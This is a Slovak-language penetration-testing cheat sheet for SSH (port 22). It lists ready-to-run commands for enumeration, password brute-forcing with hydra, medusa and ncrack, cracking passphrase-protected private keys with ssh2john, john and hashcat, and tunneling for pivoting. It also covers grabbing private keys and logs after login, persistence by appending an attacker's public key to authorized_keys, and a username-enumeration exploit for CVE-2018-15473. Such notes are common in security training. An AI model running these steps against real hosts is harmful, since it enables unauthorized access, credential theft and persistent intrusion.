SSH (Port 22)
🔐 SSH (Port 22) – Cheatsheet
—
🔍 Enumeration
„bash`
nmap -sV -sC -p 22
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root"
nmap -p 22 --script ssh-hostkey
ssh
nc -nv
---
🔑 Pripojenie
`bash`
ssh user@
ssh user@
ssh -i id_rsa user@
chmod 600 id_rsa # nutné pred použitím kľúča!
ssh -v user@
ssh -o StrictHostKeyChecking=no user@
---
💥 Bruteforce
`bash`
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://
hydra -L users.txt -P passwords.txt ssh://
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://
medusa -h
ncrack -p 22 --user user -P rockyou.txt
---
🗝️ Cracking zaheslovaného kľúča (id_rsa)
`bash
Konverzia pre John
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Alternatíva – hashcat
python3 /usr/share/john/ssh2john.py id_rsa > hash.txt
hashcat -a 0 -m 22921 hash.txt /usr/share/wordlists/rockyou.txt
`
---
🌐 SSH Tunneling
`bash
Local port forwarding – sprístupni vzdialený port lokálne
ssh -L 8080:localhost:80 user@
→ localhost:8080 presmeruje na :80
Dynamic SOCKS proxy
ssh -D 1080 user@
→ nastav proxychains na port 1080 (/etc/proxychains.conf)
→ proxychains nmap -sT
Remote port forwarding – sprístupni lokálny port na vzdialenom stroji
ssh -R 4444:localhost:4444 user@
SSH cez jump host (bastion)
ssh -J jumpuser@
Udržanie tunela nažive
ssh -N -f -L 8080:localhost:80 user@
-N = nespúšťaj príkaz, -f = beh na pozadí
`
---
📂 Zaujímavé súbory po prihlásení
`bash`
~/.ssh/authorized_keys # povolené verejné kľúče
~/.ssh/id_rsa # privátny kľúč (skopíruj a cracki!)
~/.ssh/known_hosts # navštívené hosty → možné ďalšie ciele
/etc/ssh/sshd_config # konfigurácia SSH démona
/var/log/auth.log # auth logy (Debian/Ubuntu)
/var/log/secure # auth logy (RHEL/CentOS)
---
🧰 Užitočné triky
`bash
Skopíruj súbor zo vzdialeného stroja
scp user@
Skopíruj celý adresár
scp -r user@
Vykonaj príkaz bez interaktívnej session
ssh user@
Generuj SSH kľúčový pár
ssh-keygen -t rsa -b 4096 -f ./mykey
Pridaj vlastný verejný kľúč na cieľ (ak máš zápis)
echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys
`
---
⚠️ Časté zraniteľnosti
| Zraniteľnosť | Popis |
|---|---|
| Slabé/default credentials | Najčastejší nález, hydra/medusa |
| Zaheslovaný kľúč | Crackovateľný slovníkovým útokom (ssh2john) |
| Username enumeration | Staršie verzie OpenSSH (< 7.7) – CVE-2018-15473 |
| Staré verzie OpenSSH | Rôzne CVE – vždy over verziu voči exploit-db |
| Authorized_keys writeable | Ak môžeš zapisovať, pridaj vlastný kľúč |
| Agent forwarding zneužitie | Ak je ForwardAgent yes, možný pivoting |
`bash
Username enumeration (CVE-2018-15473)
python3 ssh_user_enum.py --userList users.txt --hostname
https://github.com/Sait-Nuri/CVE-2018-15473
`
---
🔎 Kontrola verzie voči CVE
`bash„
ssh -V # lokálna verzia
nmap -sV -p 22
searchsploit openssh